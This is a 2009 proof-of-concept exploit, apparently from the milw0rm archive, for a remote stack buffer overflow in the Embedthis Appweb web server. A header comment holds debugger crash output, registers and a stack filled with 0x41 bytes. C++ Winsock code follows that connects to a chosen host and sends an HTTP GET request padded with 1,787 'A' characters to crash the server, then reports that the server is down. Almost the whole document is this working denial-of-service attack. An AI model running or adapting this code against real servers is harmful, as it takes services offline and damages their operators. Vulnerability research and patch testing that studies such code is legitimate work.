/***************************************************************************************
Embedthis Appweb Remote Stack Buffer Overflow Poc
Embedthis Appweb Debugging Info
-------------------------------
ASM INSTRUCTIONS
----------------
100076CD 8B0A MOV ECX,DWORD PTR DS:[EDX]
100076CF 8B50 10 MOV EDX,DWORD PTR DS:[EAX+10]
100076D2 51 PUSH ECX
100076D3 52 PUSH EDX
100076D4 68 14040110 PUSH libappwe.10010414 ; ASCII "%s %s %s"
100076D9 55 PUSH EBP
100076DA E8 29630000 CALL <JMP.&libmpr.mprPutFmtToBuf>
DS:[00000000]=???
ECX=00000000
CPU Registers
--------------
EAX 01550080
ECX 00000000
EDX 00000000
EBX 00000072
ESP 0012FD08
EBP 01550598
ESI 00837567 ASCII "" %>s %b"
EDI 01320080
EIP 100076CD libappwe.100076CD
C 1 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)
EFL 00000293 (NO,B,NE,BE,S,PO,L,LE)
ST0 empty -??? FFFF 00000000 144C1A7A
ST1 empty -??? FFFF 00000000 109C62C7
ST2 empty -??? FFFF 0F3C475C 45A4876F
ST3 empty -??? FFFF 109C62C7 41264D5E
ST4 empty -??? FFFF 09AC2DB5 50CE16BD
ST5 empty -??? FFFF 00000000 17D51378
ST6 empty 0.0
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 0007 Cond 0 0 0 0 Err 0 0 0 0 0 1 1 1 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Stack
------
<---------------Corruption starts here
0012FBB8 41414141 AAAA
0012FBBC 41414141 AAAA
0012FBC0 41414141 AAAA
0012FBC4 41414141 AAAA
0012FBC8 41414141 AAAA
0012FBCC 41414141 AAAA
0012FBD0 41414141 AAAA
0012FBD4 41414141 AAAA
0012FBD8 41414141 AAAA
0012FBDC 41414141 AAAA
0012FBE0 41414141 AAAA
0012FBE4 41414141 AAAA
0012FBE8 41414141 AAAA
0012FBEC 41414141 AAAA
0012FBF0 41414141 AAAA
0012FBF4 41414141 AAAA
0012FBF8 41414141 AAAA
0012FBFC 41414141 AAAA
0012FC00 41414141 AAAA
0012FC04 41414141 AAAA
0012FC08 41414141 AAAA
0012FC0C 41414141 AAAA
0012FC10 41414141 AAAA
0012FC14 41414141 AAAA
0012FC18 41414141 AAAA
0012FC1C 41414141 AAAA
0012FC20 41414141 AAAA
0012FC24 41414141 AAAA
0012FC28 7C91005D ].‘| ntdll.7C91005D
.
0012FC30 00000000 ....
0012FC34 0002075C \ . UNICODE "\Embedthis Appweb\bin\appweb.exe"
0012FC38 00000000 ....
0012FC3C 00000000 ....
0012FC40 00000000 ....
Seh chain
----------
SEH chain of main thread, item 2
Address=0012FFB0
SE handler=appweb.004020B5
Software info
--------------
Appweb is an embedded web server for the efficient hosting of web applications and frameworks.
It is blazing fast and has an extensive set of features. Appweb is optimized for hosting dynamic
web applications via an event-driven, multi-threaded core to deliver rapid response, fast throughput
and effective memory utilization. It is compact and will embed using as little as 800K of memory......
http://www.embedthis.com/products/appweb/embedded-web-server.html
Download product
-----------------
http://www.embedthis.com/downloads/appweb/index.html
Scenario
---------
A stack buffer overflow occurs when a very long link is sent
Bug type
--------
Buffer Overflow
HTTP Dos
Timeline
--------
8:08:2009
Vendor
-------
-
POC
----
Filename
---------
embed.cpp
Compiler
---------
Dev-cpp 4.9.9.2
Credits/Author
---------------
fl0 fl0w
Greets
------
Hello to my friendz at
http://www.skullbox.info
www.doyourself.org
http://insecurity-ro.org
!_30,OSHO,Carcabot,Vlad,Marsu,Expanders,str0ke...
References
----------
http://sploitz.110mb.com
DEMO
----
***********************************************************************
Embedthis Appweb Remote Stack Overflow POC
All Credits:fl0 fl0w
http://www.sploitz.10001mb.com
******************************************************************************
Usage:project1.exe [-h](host) [-p](port) Default Port 80 Default Host 127.0.0.1
-h host HTTP server
-p port HTTP server
------------------------------------------
You can use the following IP addresses
Host name is DESKTOP.
Address 0:192.168.1.2
------------------------------------------
Host name is DESKTOP.
Address 1:79.119.103.68
------------------------------------------
*/
//START of algorithm
#include "winsock2.h"
#include "fstream.h"
#include <iostream.h>
#include <getopt.h>
#pragma comment(lib, "ws2_32")
#define BUFFERSIZE 900000
#define DEFAULT_PORT 80
#define DEFAULT_HOST "127.0.0.1"
#define COMMAND "GET "
struct {
int ip;
int port;
}Net;
static char buffer[BUFFERSIZE];
WSADATA wsadata;
int doit(int ,char**);
void Exit(int);
void Menu(int ,char**);
void Wait_s(int);
void Banner();
int main(int argc,char *argv[])
{ if (WSAStartup(MAKEWORD(2,0),&wsadata)!= 0){
printf("%s", WSAGetLastError());
return -1;
}
if(argc < 2) {
system("CLS");
Banner();
Menu(argc, argv);
int a = doit(argc, argv);
printf("%d", a);
}
else {
int c;
while((c = getopt(argc, argv, "h:p:o")) != EOF) {
switch(c) {
case 'h':
Net.ip = (int)optarg;
break;
case 'p':
Net.port = (int)optarg;
break;
default:
Banner();
}
}
}
Net.ip = htonl(inet_addr(argv[1]));
if (argc == 2){
Net.port = atoi(argv[2]);
}
else Net.port = DEFAULT_PORT;
if(!Net.ip || !Net.port) {
printf("IP && Port not good\n");
Exit(-2);
}
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s = socket(AF_INET,SOCK_STREAM,0);
if (s == INVALID_SOCKET) {
WSAGetLastError();
WSACleanup();
return -1;
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(Net.ip);
server.sin_port = htons(Net.port);
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec = 3;
timeout.tv_usec = 0;
FD_ZERO(&mask);
FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout)) {
case -1: {
WSAGetLastError();
closesocket(s);
return -1;
}
case 0: {
closesocket(s);
return -1;
}
default:
if(FD_ISSET(s,&mask)) {
printf("\tConnected\n");
Wait_s(1000);
int a, Load;
Load=1787;
memset(buffer,0,sizeof(buffer));
strcat(buffer, COMMAND);
for (a=0;a<Load;a++){strcat(buffer,"\x41");}
strcat(buffer," HTTP/1.1\r\n\r\n");
Wait_s(1000);
if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) {
printf("\tPayload not sent ! Server is OFF! \n");
return -1;
}
Wait_s(1000);
printf("\tPayload sent ! HTTP server is DOWN !\n");
return 0;
}
}
closesocket(s);
WSACleanup();
return 0;
}
void Wait_s(int seconds)
{ Sleep (seconds);
}
int doit(int, char **)
{
char ac[80];
if (gethostname(ac, sizeof(ac)) == SOCKET_ERROR) {
printf("Error " , WSAGetLastError());
return 1;
}
struct hostent *phe = gethostbyname(ac);
if (phe == 0) {
printf("Bad host lookup.\n");
return 1;
}
printf("------------------------------------------\n");
printf("You can use the following IP addresses\n");
for (int i = 0; phe->h_addr_list[i] != 0; ++i) {
struct in_addr addr;
memcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));
printf("\n");
printf("Host name is %s.\n" ,ac);
printf("Address %d:%s\n" ,i ,inet_ntoa(addr));
printf("------------------------------------------\n");
}
return 0;
}
void Exit(int t)
{ exit(t);
}
void Menu(int argc, char **argv)
{ fprintf(stderr,
"Usage:%s [-h](host) [-p](port) Default Port %d Default Host %s\n"
"\n"
"-h host HTTP server\n"
"-p port HTTP server\n"
"\n"
,
argv[0],
DEFAULT_PORT,
DEFAULT_HOST);
}
void Banner()
{ fputs("******************************************************************************\n"
"Embedthis Appweb Remote Stack Overflow POC\n"
"All Credits:fl0 fl0w\n"
"\thttp://www.sploitz.10001mb.com\n"
"******************************************************************************\n"
,stdout);
}
// milw0rm.com [2009-08-11]
